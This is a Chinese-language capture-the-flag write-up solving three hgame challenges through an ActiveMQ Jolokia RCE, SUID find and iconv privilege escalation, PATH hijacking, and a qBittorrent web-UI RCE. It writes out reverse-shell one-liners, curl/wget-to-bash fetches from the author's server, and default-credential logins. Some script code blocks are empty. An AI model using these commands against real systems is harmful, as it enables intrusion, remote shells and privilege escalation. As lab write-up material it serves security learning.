by:Infernity
Reverse and Escalation.
一个find提权闹麻了
这道题是ActiveMQ Jolokia 后台代码执行漏洞
https://blog.csdn.net/huangyongkang666/article/details/134814554
去github上下载一个poc
然后打入命令
1 | python3 poc.py -u admin -p admin http://47.102.184.100:31838/ |
等待处理完毕后进入/admin/shell.jsp?cmd=
然后就可以执行命令了,查看flag发现没权限,用suid提权试试
1 | find / -user root -perm -4000 -print 2>/dev/null |
这里用第三条才行,其他两条不行。
执行发现find有root权限,那直接用find执行命令。.
1 | find /flag -exec cat /flag ; |
hgame{961c3bf5c7a186ed8e39174ccf248b1aee228479}
Reverse and Escalation II.
我得坐起来跟他打.gif 感谢M1sery
承接上一道题,这道题的find命令没法正常使用,所以不能用find执行命令的方式读出flag。在得到/admin/shell.jsp?cmd=后,发现使用find命令会让我们回答一个计算题,但是时间只在瞬息之间,手打不可能,必须用脚本。
这里第一步需要先反弹shell,才好操作。
https://www.cnblogs.com/BOHB-yunying/p/15523680.html
普通的反弹shell语句都不可以,这篇文章提到了java中利用Runtime.getRuntime().exec来反弹shell,这里前面语句可能就是这个,所以尝试把这个语句传参打入:
1 | bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEyNy4wLjAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i} |
测试后发现不行,那就把这段语句保存为一个文件,例如shell
然后把这个shell文件上传到自己的服务器(位置是/var/www/html/),再通过题目服务器自带的wget命令下载到题目服务器的网站根目录上,
1 | wget http://47.xxx.xxx.xx/shell |
这样还是不能执行shell文件,因为你ls -al发现shell的权限不够,那我们就需要给它升级权限,利用命令
1 | chmod 777 ./shell |
这里就得到了一个可执行的shell,然后我们回到/admin/shell.jsp页面,在服务器上开启监听,执行shell文件
1 | /admin/shell.jsp?cmd=./shell |
到这里反弹shell成功。
最开始我写了个bash脚本回答它给的问题,但是每次都是错误的,那可能find的内部逻辑不正确,我们把/user/bin/find这个程序下载到本地,拖到ida里逆出来拿到它的内部代码。
1 | int __cdecl main(int argc, const char **argv, const char **envp) |
审计代码才发现,这里就是在我们执行find的时候,要回答随机数组成的39个问题,然后就会以root的权限执行system(“ls”);
而这里是以时间为种子的随机数,是伪随机数,我们可以自己写个脚本,把时间提前一点,得到的序列把39个答案卡好时间传给find就可以了。
1 |
|
这里是提前了10s,会生成39个答案
我们就把这一段,直接复制到我们反弹shell的终端里,卡好10s时间,多打几次,就能成功。
1 | /usr/bin/find 36230 11291 17094 25946 11960 9219 19755 17043 13268 25972 20122 25497 25726 11857 7919 28246 3433 4614 10100 9660 3632 20753 19857 14603 25764 7183 5291 15056 18010 11073 22600 16287 21642 17812 31136 19806 7802 23533 9086 |
但是刚刚说了,这里39次成功后,系统执行的是ls命令,我们如何修改这个部分拿到flag呢。
这里就需要我们写一个名为ls的可执行文件,把它放到/tmp目录里,然后把/tmp目录,放在$PATH环境变量的最前面,这样系统执行system(“ls”)的时候,就会在环境变量的第一个也就是/tmp目录里去找我们写的ls可执行程序,来读取flag。
1 |
|
这个是ls源码,我们把它静态编译成可执行程序
1 | gcc -static -o ls ls.c |
这样就会在我们的linux上创建一个名为ls的可执行程序。我们把它上传到我们的服务器上,在利用wget下载到题目服务器的/tmp目录里。
1 | wget -P /tmp http://47.xxx.xxx.xx/ls |
然后把/tmp目录,放在$PATH环境变量的最前面
1 | export PATH=/tmp:$PATH |
一切准备就绪,执行我们的find,拿到密码序列,然后卡时间打入find。
时间不好卡,算好提前量多发几次。
成功后拿到flag。
hgame{f288b31a0ca16ed51e49021c7be9ee7b614162b2}
Whose Home?
打开是qb的web ui 登录页面,这种一般是有默认账号和密码的,我们去网上搜搜。账户admin,密码adminadmin
登录进来后,我们了解到版本是4.5.5我们去网上搜搜关于这个版本的漏洞。
https://github.com/qbittorrent/qBittorrent/issues/18731
qb的后台可以rce。
在额外设置这里可以添加我们的rce代码。
尝试直接反弹shell不行后,我们就直接拿文章中的payload。
先把反弹shell的命令放到我们的服务器上,我保存为1.sh
1 | /bin/bash -c 'bash -i >& /dev/tcp/47.xxx.xx.xxx/2333 0>&1' |
然后把payload输入进去。
1 | bash -c "(curl -s -L http://47.xxx.xx.xxx/1.sh || wget -O - http://47.xxx.xx.xxx/1.sh) | bash -s" |
在我们的服务器上开启监听,然后随便添加个种子链接下载,比如这个magnet:?xt=urn:btih:99986864CEF6A163775C8E9DBB662A93B05B9948
拿到了shell。
但是我们发现flag没有权限去读
看看有什么suid提权。从中可以看到iconv存在suid权限
iconv如果存在suid权限,可以导致读取任意文件。
1 | LFILE=/flag && iconv -f ISO-8859-1 -t UTF-8 "$LFILE" |
hgame{a81ebbed09bcfa55d3b87079c5731d43a80cfed9}